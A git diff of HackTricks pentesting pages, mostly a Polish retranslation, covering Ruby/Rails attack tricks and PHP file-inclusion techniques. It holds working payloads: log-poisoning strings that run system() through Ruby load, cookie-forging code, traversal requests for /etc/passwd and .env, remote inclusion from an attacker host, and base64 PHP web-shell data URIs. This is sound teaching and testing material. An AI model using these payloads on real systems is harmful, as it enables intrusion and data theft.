"/\\S+/nginx(\$|\\s)") diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md index 6aada21b1..5dd2d89ef 100644 --- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md +++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md @@ -1,51 +1,51 @@ -# Triki Ruby +# Ruby Tricks {{#include ../../banners/hacktricks-training.md}} -## Wgrywanie pliku do RCE +## File upload to RCE -As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications. +Jak wyjaśniono w [this article](https://www.offsec.com/blog/cve-2024-46986/), wgrywanie pliku `.rb` do wrażliwych katalogów takich jak `config/initializers/` może prowadzić do remote code execution (RCE) w aplikacjach Ruby on Rails. -Wskazówki: -- Inne lokalizacje uruchamiania/eager-load, które są wykonywane przy starcie aplikacji, również są ryzykowne jeśli są zapisywalne (np. `config/initializers/` to klasyczny przykład). Jeśli znajdziesz arbitralny upload pliku, który trafia gdziekolwiek pod `config/` i później jest evaluated/required, możesz uzyskać RCE przy starcie. -- Szukaj dev/staging buildów, które kopiują pliki kontrolowane przez użytkownika do obrazu kontenera, gdzie Rails załaduje je przy starcie. +Tips: +- Inne lokalizacje ładowane przy starcie aplikacji (boot/eager-load), które są wykonywane na starcie aplikacji, także są ryzykowne, jeśli są writeable (np. `config/initializers/` to klasyczny przykład). Jeśli znajdziesz dowolny upload pliku, który trafia gdziekolwiek pod `config/` i jest później evaluated/required, możesz uzyskać RCE przy starcie. +- Szukaj dev/staging buildów, które kopiują pliki kontrolowane przez użytkownika do container image, gdzie Rails załaduje je przy boot. -## Active Storage image transformation → wykonanie polecenia (CVE-2025-24293) +## Active Storage image transformation → command execution (CVE-2025-24293) -When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default. +Kiedy aplikacja używa Active Storage z `image_processing` + `mini_magick`, i przekazuje nieufne parametry do metod transformacji obrazów, Rails w wersjach przed 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mógł pozwalać na command injection, ponieważ niektóre metody transformacji były błędnie dozwolone domyślnie. - A vulnerable pattern looks like: ```erb <%= image_tag blob.variant(params[:t] => params[:v]) %> ``` -where `params[:t]` and/or `params[:v]` are attacker-controlled. +gdzie `params[:t]` i/lub `params[:v]` są kontrolowane przez atakującego. -- Co wypróbować podczas testowania +- What to try during testing - Zidentyfikuj endpointy, które akceptują opcje variant/processing, nazwy transformacji lub dowolne argumenty ImageMagick. -- Fuzzuj `params[:t]` i `params[:v]` w poszukiwaniu podejrzanych błędów lub efektów ubocznych wykonania. Jeśli możesz wpłynąć na nazwę metody lub przekazać surowe argumenty, które trafią do MiniMagick, możesz uzyskać code exec na hoście przetwarzającym obrazy. -- Jeśli masz tylko read-access do wygenerowanych wariantów, spróbuj blind exfiltration przez spreparowane operacje ImageMagick. +- Fuzz `params[:t]` i `params[:v]` w poszukiwaniu podejrzanych błędów lub efektów ubocznych wykonania. Jeśli możesz wpłynąć na nazwę metody lub przekazać surowe argumenty docierające do MiniMagick, możesz uzyskać code exec na hoście przetwarzającym obrazy. +- Jeśli masz tylko read-access do wygenerowanych variants, spróbuj blind exfiltration przez spreparowane operacje ImageMagick. -- Naprawa/detekcja -- Jeśli widzisz Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 z Active Storage + `image_processing` + `mini_magick` i transformacjami kontrolowanymi przez użytkownika, traktuj to jako podatne. Zalecaj upgrade i wymuszanie ścisłych allowlist dla metod/parametrów oraz utwardzoną politykę ImageMagick. +- Remediation/detections +- Jeśli widzisz Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 z Active Storage + `image_processing` + `mini_magick` i transformacjami kontrolowanymi przez użytkownika, uznaj to za eksploatowalne. Zalecane jest uaktualnienie oraz wymuszenie ścisłych allowlists dla metod/parametrów oraz wzmocniona polityka ImageMagick. ## Rack::Static LFI / path traversal (CVE-2025-27610) -If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root. +Jeśli target stack używa Rack middleware bezpośrednio lub przez frameworki, wersje `rack` przed 2.2.13, 3.0.14 i 3.1.12 pozwalają na Local File Inclusion via `Rack::Static` gdy `:root` jest unset/misconfigured. Zakodowany traversal w `PATH_INFO` może ujawnić pliki pod katalogiem roboczym procesu lub nieoczekiwanym rootem. -- Szukaj aplikacji, które montują `Rack::Static` w `config.ru` lub w stackach middleware. Próbuj zakodowanych traversali przeciwko statycznym ścieżkom, na przykład: +- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example: ```text GET /assets/%2e%2e/%2e%2e/config/database.yml GET /favicon.ico/..%2f..%2f.env ``` -Dopasuj prefix do skonfigurowanych `urls:`. Jeśli aplikacja odpowiada zawartością pliku, prawdopodobnie masz LFI do wszystkiego pod rozwiązanym `:root`. +Dopasuj prefix do skonfigurowanych `urls:`. Jeśli aplikacja odpowiada zawartością pliku, najprawdopodobniej masz LFI do wszystkiego pod rozstrzygniętym `:root`. -- Mitigacja: zaktualizuj Rack; upewnij się, że `:root` wskazuje tylko na katalog publicznych plików i jest ustawiony jawnie. +- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set. -## Fałszowanie/odszyfrowywanie Rails cookies gdy `secret_key_base` jest leaked +## Forging/decrypting Rails cookies when `secret_key_base` is leaked -Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies. +Rails szyfruje i podpisuje cookies używając kluczy pochodzących z `secret_key_base`. If that value leaks (np. w repo, logach lub błędnie skonfigurowanych credentials), zazwyczaj możesz odszyfrować, zmodyfikować i ponownie zaszyfrować cookies. To często prowadzi do authz bypass jeśli aplikacja przechowuje role, user IDs lub feature flags w cookies. -Minimalny Ruby do odszyfrowania i ponownego zaszyfrowania nowoczesnych cookies (AES-256-GCM, default in recent Rails): +Minimalny kod Ruby do odszyfrowania i ponownego zaszyfrowania nowoczesnych cookies (AES-256-GCM, default in recent Rails): ```ruby require 'cgi' require 'json' @@ -71,10 +71,10 @@ forged = enc.encrypt_and_sign(plain) puts "Forged cookie: #{CGI.escape(forged)}" ``` Uwagi: -- Starsze aplikacje mogą używać AES-256-CBC oraz salts `encrypted cookie` / `signed encrypted cookie`, lub JSON/Marshal serializers. Dostosuj salts, cipher i serializer odpowiednio. -- W przypadku kompromitacji/oceny, zmień `secret_key_base`, aby unieważnić wszystkie istniejące ciasteczka. +- Starsze aplikacje mogą używać AES-256-CBC i soli `encrypted cookie` / `signed encrypted cookie`, albo serializerów JSON/Marshal. Dostosuj sole, szyfr i serializer odpowiednio. +- W przypadku kompromitacji/oceny, obróć `secret_key_base`, aby unieważnić wszystkie istniejące cookies. -## Zobacz też (Ruby/Rails-specyficzne podatności) +## Zobacz także (Ruby/Rails-specific vulns) - Ruby deserialization and class pollution: {{#ref}} @@ -92,9 +92,83 @@ Uwagi: {{#endref}} +## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling -## Referencje +Gdy aplikacja (często prosty endpoint Rack/Sinatra/Rails) spełnia oba warunki: +- loguje ciąg sterowany przez użytkownika dosłownie, oraz +- później `load`uje plik, którego ścieżka jest wyprowadzona z tego samego ciągu (po `Pathname#cleanpath`), + +Często można osiągnąć RCE, zatruwając log i następnie zmuszając aplikację do `load`owania pliku z logiem. Kluczowe prymitywy: + +- Ruby `load` wykonuje zawartość docelowego pliku jako Ruby, niezależnie od rozszerzenia pliku. Każdy czytelny plik tekstowy, którego zawartość da się sparsować jako Ruby, zostanie wykonany. +- `Pathname#cleanpath` redukuje segmenty `.` i `..` bez odwołań do systemu plików, umożliwiając path smuggling: sterowany przez atakującego junk może być dopisany na początku do logowania, podczas gdy oczyszczona ścieżka nadal rozwiązuje się do zamierzonego pliku do wykonania (np. `../logs/error.log`). + +### Minimalny wzorzec podatności +```ruby +require 'logger' +require 'pathname' + +logger = Logger.new('logs/error.log') +param = CGI.unescape(params[:script]) +path_obj = Pathname.new(param) + +logger.info("Running backup script #{param}") # Raw log of user input +load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath +``` +### Dlaczego log może zawierać poprawny Ruby +`Logger` zapisuje linie prefiksu takie jak: +``` +I, [9/2/2025 #209384] INFO -- : Running backup script +``` +W Ruby `#` rozpoczyna komentarz, a `9/2/2025` to po prostu działanie arytmetyczne. Aby wstrzyknąć prawidłowy kod Ruby musisz: +- Rozpocząć swój payload na nowej linii, aby nie był skomentowany przez `#` w linii INFO; wyślij wiodący znak nowej linii (`\n` lub `%0A`). +- Zamknąć wiszący `[` wprowadzony przez linię INFO. Powszechnym trikiem jest rozpoczęcie od `]` i opcjonalnie zadowolenie parsera przez `][0]=1`. +- Następnie umieścić dowolny kod Ruby (np. `system(...)`). + +Przykład tego, co znajdzie się w logu po jednym żądaniu z przygotowanym parametrem: +``` +I, [9/2/2025 #209384] INFO -- : Running backup script +][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log +``` +### Przemycanie pojedynczego ciągu, który jednocześnie loguje kod i rozwiązuje się do ścieżki loga +Chcemy pojedynczego ciągu kontrolowanego przez atakującego, który: +- gdy zostanie zalogowany w surowej postaci, zawiera nasz Ruby payload, oraz +- po przejściu przez `Pathname.new().cleanpath` rozwiązuje się do `../logs/error.log`, więc następne `load` wykona właśnie zatruty plik logu. + +`Pathname#cleanpath` ignoruje schemes i redukuje traversal components, więc poniższe działa: +```ruby +require 'pathname' + +p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log") +puts p.cleanpath # => ../logs/error.log +``` +- Znak `#` przed `://` powoduje, że Ruby ignoruje końcówkę podczas wykonywania logu, podczas gdy `cleanpath` nadal redukuje sufiks do `../logs/error.log`. +- Prowadzący znak nowej linii powoduje przerwanie linii INFO; `]` zamyka wiszący nawias; `][0]=1` spełnia wymagania parsera. + +### End-to-end exploitation +1. Wyślij następujące jako nazwę skryptu kopii zapasowej (jeśli trzeba, zakoduj pierwszy znak nowej linii jako `%0A`): +``` +\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log +``` +2. Aplikacja zapisuje twój surowy ciąg do `logs/error.log`. +3. Aplikacja oblicza `cleanpath`, który rozwiązuje się do `../logs/error.log` i wywołuje `load` na nim. +4. Ruby wykonuje kod, który wstrzyknięto do logu. + +Aby wykonać eksfiltrację pliku w środowisku typu CTF: +``` +\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log +``` +URL-encoded PoC (pierwszy znak to nowa linia): +``` +%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log +``` +## Źródła + +- Ogłoszenie bezpieczeństwa Rails: CVE-2025-24293 Active Storage unsafe transformation methods (naprawione w 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670 +- Biuletyn GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v +- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44) +- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath) +- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html) +- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html) -- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670 -- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index 3907fa9c2..7775e3d46 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -15,9 +15,9 @@ msf> auxiliary/scanner/vmware/vmware_http_login ``` Jeśli znajdziesz prawidłowe poświadczenia, możesz użyć dodatkowych metasploit scanner modules, aby uzyskać informacje. -### Zobacz także +### Zobacz też -Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244): +Linux LPE przez VMware Tools service discovery (CWE-426 / CVE-2025-41244): {{#ref}} ../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 776a107de..7824a4600 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,12 +4,12 @@ ## File Inclusion -**Remote File Inclusion (RFI):** Plik jest ładowany z zdalnego serwera (Najlepiej: możesz napisać kod, a serwer go wykona). W php jest to domyślnie **wyłączone** (**allow_url_include**).\ +**Remote File Inclusion (RFI):** Plik jest ładowany z zdalnego serwera (najlepiej: możesz napisać code i serwer go wykona). W php jest to **wyłączone** domyślnie (**allow_url_include**).\ **Local File Inclusion (LFI):** Serwer ładuje lokalny plik. -Luka występuje, gdy użytkownik może w jakiś sposób kontrolować plik, który serwer ma załadować. +Luka występuje, gdy użytkownik może w jakiś sposób kontrolować plik, który zostanie załadowany przez serwer. -Podatne **PHP functions**: require, require_once, include, include_once +Funkcje **PHP** podatne na tę lukę: require, require_once, include, include_once Przydatne narzędzie do wykorzystania tej luki: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) @@ -19,31 +19,31 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ ``` ### **Linux** -**Łącząc kilka list LFI dla *nix i dodając więcej ścieżek stworzyłem tę:** +**Łącząc kilka list *nix LFI i dodając więcej ścieżek, stworzyłem tę:** {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -Spróbuj także zamienić `/` na `\`\ +Spróbuj także zmienić `/` na `\`\ Spróbuj także dodać `../../../../../` -Lista wykorzystująca kilka technik do znalezienia pliku /etc/password (by sprawdzić, czy luka istnieje) jest dostępna [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Lista wykorzystująca kilka technik do znalezienia pliku /etc/password (aby sprawdzić, czy podatność istnieje) znajduje się [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** -Scalanie różnych wordlists: +Połączenie różnych wordlists: {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -Spróbuj także zamienić `/` na `\`\ +Spróbuj także zmienić `/` na `\`\ Spróbuj także usunąć `C:/` i dodać `../../../../../` -Lista wykorzystująca kilka technik do znalezienia pliku /boot.ini (by sprawdzić, czy luka istnieje) jest dostępna [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Lista wykorzystująca kilka technik do znalezienia pliku /boot.ini (aby sprawdzić, czy podatność istnieje) znajduje się [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** @@ -51,11 +51,11 @@ Sprawdź listę LFI dla linux. ## Podstawowe LFI i obejścia -Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). +Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` -### traversal sequences usuwane nierekurencyjnie +### traversal sequences usunięte nierekurencyjnie ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,11 +63,11 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Ominięcie dopisywania dodatkowych znaków na końcu podanego ciągu (bypass of: $_GET['param']."php") +Bypass dodawania dodatkowych znaków na końcu przekazanego ciągu (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` -To **zostało naprawione w PHP 5.4** +To zostało **rozwiązane od PHP 5.4** ### **Kodowanie** @@ -86,36 +86,36 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Eksploracja katalogów systemu plików na serwerze -System plików serwera można eksplorować rekurencyjnie, aby zidentyfikować katalogi, nie tylko pliki, stosując określone techniki. Proces ten polega na określeniu głębokości katalogu oraz sprawdzaniu istnienia konkretnych katalogów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć: +System plików serwera można przeszukiwać rekurencyjnie, aby zidentyfikować katalogi, a nie tylko pliki, stosując określone techniki. Proces ten obejmuje ustalenie głębokości katalogu oraz sprawdzanie istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć: -1. **Określ głębokość katalogu:** Ustal głębokość bieżącego katalogu poprzez pomyślne pobranie pliku `/etc/passwd` (dotyczy serwerów na systemie Linux). Przykładowy URL może być zbudowany w następujący sposób, wskazując głębokość trzy: +1. **Ustal głębokość katalogu:** Określ głębokość bieżącego katalogu przez pomyślne pobranie pliku `/etc/passwd` (dotyczy serwerów opartych na Linux). Przykładowy URL może wyglądać następująco, wskazując głębokość równą trzem: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Sondowanie folderów:** Dołącz nazwę podejrzanego folderu (np. `private`) do URL, a następnie przejdź z powrotem do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden: +2. **Sprawdź foldery:** Dodaj nazwę podejrzanego folderu (np. `private`) do URL, a następnie przejdź z powrotem do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **Interpretacja wyników:** Odpowiedź serwera wskazuje, czy folder istnieje: -- **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje w określonej lokalizacji. -- **Zawartość `/etc/passwd`:** Potwierdzono obecność folderu `private`. -4. **Eksploracja rekurencyjna:** Odkryte foldery można dalej sprawdzać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI). +3. **Zinterpretuj wyniki:** Odpowiedź serwera wskazuje, czy folder istnieje: +- **Błąd / Brak wyjścia:** Folder `private` najprawdopodobniej nie istnieje w określonej lokalizacji. +- **Zawartość `/etc/passwd`:** Obecność folderu `private` zostaje potwierdzona. +4. **Rekurencyjne przeszukiwanie:** Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI). -Aby przeszukać katalogi w innych lokalizacjach systemu plików, dostosuj payload odpowiednio. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog ma głębokość 3), użyj: +Do eksplorowania katalogów w innych lokalizacjach systemu plików dostosuj odpowiednio payload. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog jest na głębokości 3), użyj: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation is a method employed to manipulate file paths in web applications. It's often used to access restricted files by bypassing certain security measures that append additional characters to the end of file paths. The goal is to craft a file path that, once altered by the security measure, still points to the desired file. +Path truncation to metoda używana do manipulowania ścieżkami plików w aplikacjach webowych. Często służy do uzyskania dostępu do plików objętych ograniczeniami poprzez obejście pewnych zabezpieczeń, które dopisują dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która po modyfikacji przez mechanizm zabezpieczający wciąż wskazuje na pożądany plik. -W PHP różne reprezentacje ścieżki pliku mogą być traktowane jako równoważne ze względu na naturę systemu plików. Na przykład: +W PHP różne reprezentacje ścieżki pliku mogą być traktowane jako równoważne ze względu na sposób działania systemu plików. Na przykład: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` i `/etc/passwd/` są traktowane jako ta sama ścieżka. -- Gdy ostatnie 6 znaków to `passwd`, dopisanie `/` (co daje `passwd/`) nie zmienia docelowego pliku. -- Podobnie, jeśli do ścieżki pliku dopisane jest `.php` (np. `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego jest uzyskiwany dostęp. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` są wszystkie traktowane jako ta sama ścieżka. +- Jeśli ostatnie 6 znaków to `passwd`, dopisanie `/` (tworząc `passwd/`) nie zmienia pliku docelowego. +- Analogicznie, jeśli do ścieżki dopisane jest `.php` (np. `shellcode.php`), dodanie `/.` na końcu nie zmieni dostępu do pliku. -Poniższe przykłady pokazują, jak wykorzystać path truncation do dostępu do `/etc/passwd` — częstego celu ze względu na jego wrażliwe treści (informacje o kontach użytkowników): +Poniższe przykłady pokazują, jak wykorzystać path truncation, aby uzyskać dostęp do `/etc/passwd`, częstego celu ze względu na jego wrażliwe treści (informacje o kontach użytkowników): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -W tych scenariuszach liczba wymaganych traversals może wynosić około 2027, ale ta liczba może się różnić w zależności od konfiguracji serwera. +W tych scenariuszach liczba wymaganych sekwencji ../ może wynosić około 2027, ale wartość ta może się różnić w zależności od konfiguracji serwera. -- **Using Dot Segments and Additional Characters**: Sekwencje traversal (`../`) w połączeniu z dodatkowymi segmentami kropkowymi i znakami mogą być użyte do poruszania się po systemie plików, skutecznie ignorując przez serwer dołączane ciągi. -- **Determining the Required Number of Traversals**: Metodą prób i błędów można ustalić dokładną liczbę sekwencji `../` potrzebnych do dotarcia do katalogu root, a następnie do `/etc/passwd`, upewniając się, że wszelkie dołączone ciągi (np. `.php`) zostaną zneutralizowane, a żądana ścieżka (`/etc/passwd`) pozostanie nienaruszona. -- **Starting with a Fake Directory**: Częstą praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (np. `a/`). Ta technika jest używana jako środek ostrożności lub aby spełnić wymagania logiki parsowania ścieżek po stronie serwera. +- **Using Dot Segments and Additional Characters**: Sekwencje (`../`) w połączeniu z dodatkowymi segmentami kropkowymi i znakami mogą być użyte do nawigacji w systemie plików, skutecznie ignorując przez serwer dołączone ciągi znaków. +- **Determining the Required Number of Traversals**: Metodą prób i błędów można znaleźć dokładną liczbę sekwencji `../` potrzebną, by przejść do katalogu root, a następnie do `/etc/passwd`, zapewniając, że wszelkie dołączone ciągi (np. `.php`) zostaną zneutralizowane, a pożądana ścieżka (`/etc/passwd`) pozostanie nienaruszona. +- **Starting with a Fake Directory**: Częstą praktyką jest zaczynanie ścieżki od nieistniejącego katalogu (np. `a/`). Technika ta służy jako środek ostrożności lub by spełnić wymagania logiki parsowania ścieżek na serwerze. -Podczas stosowania path truncation techniques kluczowe jest zrozumienie zachowania parsowania ścieżek przez serwer oraz struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a często konieczne są testy, aby znaleźć najbardziej efektywną metodę. +Stosując techniki obcinania ścieżek, kluczowe jest zrozumienie zachowania parsowania ścieżek przez serwer i struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testy są często konieczne, aby znaleźć najbardziej skuteczną metodę. -**Ta podatność została naprawiona w PHP 5.3.** +**This vulnerability was corrected in PHP 5.3.** ### **Filter bypass tricks** ``` @@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -W php jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Off.** Musi być ustawione na **On**, aby to działało, i w takim przypadku możesz dołączyć plik PHP z twojego serwera i uzyskać RCE: +W php jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Off.** Musi być **On**, żeby to działało, i w takim przypadku możesz dołączyć plik PHP z serwera i uzyskać RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Jeśli z jakiegoś powodu **`allow_url_include`** jest **On**, ale PHP **filtruje** dostęp do zewnętrznych stron, [zgodnie z tym wpisem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz na przykład użyć protokołu data z base64, aby zdekodować b64 PHP code i uzyskać RCE: +Jeśli z jakiegoś powodu **`allow_url_include`** jest **On**, ale PHP **filtruje** dostęp do zewnętrznych stron, [według tego posta](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz na przykład użyć data protocol z base64, aby zdekodować b64 PHP code i uzyskać RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> W poprzednim kodzie końcowy `+.txt` został dodany, ponieważ atakujący potrzebował łańcucha kończącego się na `.txt`, więc łańcuch kończy się tym, a po dekodowaniu b64 ta część zwróci jedynie śmieci, a prawdziwy kod PHP zostanie dołączony (i w konsekwencji wykonany). +> W poprzednim kodzie końcowe `+.txt` zostało dodane, ponieważ atakujący potrzebował ciągu kończącego się na `.txt`, więc ciąg kończy się nim, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (i w związku z tym wykonany). -Inny przykład **nieużywający protokołu `php://`** to: +Inny przykład **nie używający protokołu `php://`** to: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Element root w Pythonie +## Python — element główny W Pythonie, w kodzie takim jak ten: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -Jeśli użytkownik poda **absolute path** do **`file_name`**, **poprzednia ścieżka zostanie po prostu usunięta**: +Jeśli użytkownik poda **ścieżkę bezwzględną** do **`file_name`**, **poprzednia ścieżka jest po prostu usuwana**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` To jest zamierzone zachowanie zgodnie z [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): -> Jeśli składnik jest ścieżką bezwzględną, wszystkie poprzednie składniki są odrzucane i łączenie kontynuuje się od składnika będącego ścieżką bezwzględną. +> Jeżeli komponent jest ścieżką bezwzględną, wszystkie poprzednie komponenty są odrzucane, a łączenie kontynuuje się od komponentu będącego ścieżką bezwzględną. -## Java Listowanie katalogów +## Listowanie katalogów w Java -Wygląda na to, że jeśli masz Path Traversal w Java i **poprosisz o katalog** zamiast pliku, zostanie zwrócone **listowanie katalogu**. To nie będzie miało miejsca w innych językach (o ile wiem). +Wygląda na to, że jeśli masz Path Traversal w Java i **ask for a directory** zamiast file, to zostanie zwrócony **listing of the directory is returned**. To nie będzie miało miejsca w innych językach (o ile mi wiadomo). ## Top 25 parametrów -Oto lista 25 parametrów, które mogą być podatne na local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Oto lista 25 parametrów, które mogą być podatne na local file inclusion (LFI) (from [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -215,26 +215,26 @@ Oto lista 25 parametrów, które mogą być podatne na local file inclusion (LFI ### php://filter -PHP filters allow perform basic **operacje modyfikacji na danych** zanim zostaną one odczytane lub zapisane. Istnieje 5 kategorii filtrów: +Filtry PHP pozwalają wykonać podstawowe **operacje modyfikujące dane** przed ich odczytem lub zapisem. Istnieje 5 kategorii filtrów: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: Usuwa tagi z danych (wszystko pomiędzy znakami "<" i ">") -- Zauważ, że ten filtr został usunięty z nowoczesnych wersji PHP +- `string.strip_tags`: Usuwa tagi z danych (wszystko między znakami "<" i ">") +- Zauważ, że ten filtr zniknął w nowszych wersjach PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Konwertuje do innego kodowania (`convert.iconv..`). Aby uzyskać **listę wszystkich kodowań** obsługiwanych uruchom w konsoli: `iconv -l` +- `convert.iconv.*` : Transformuje do innego 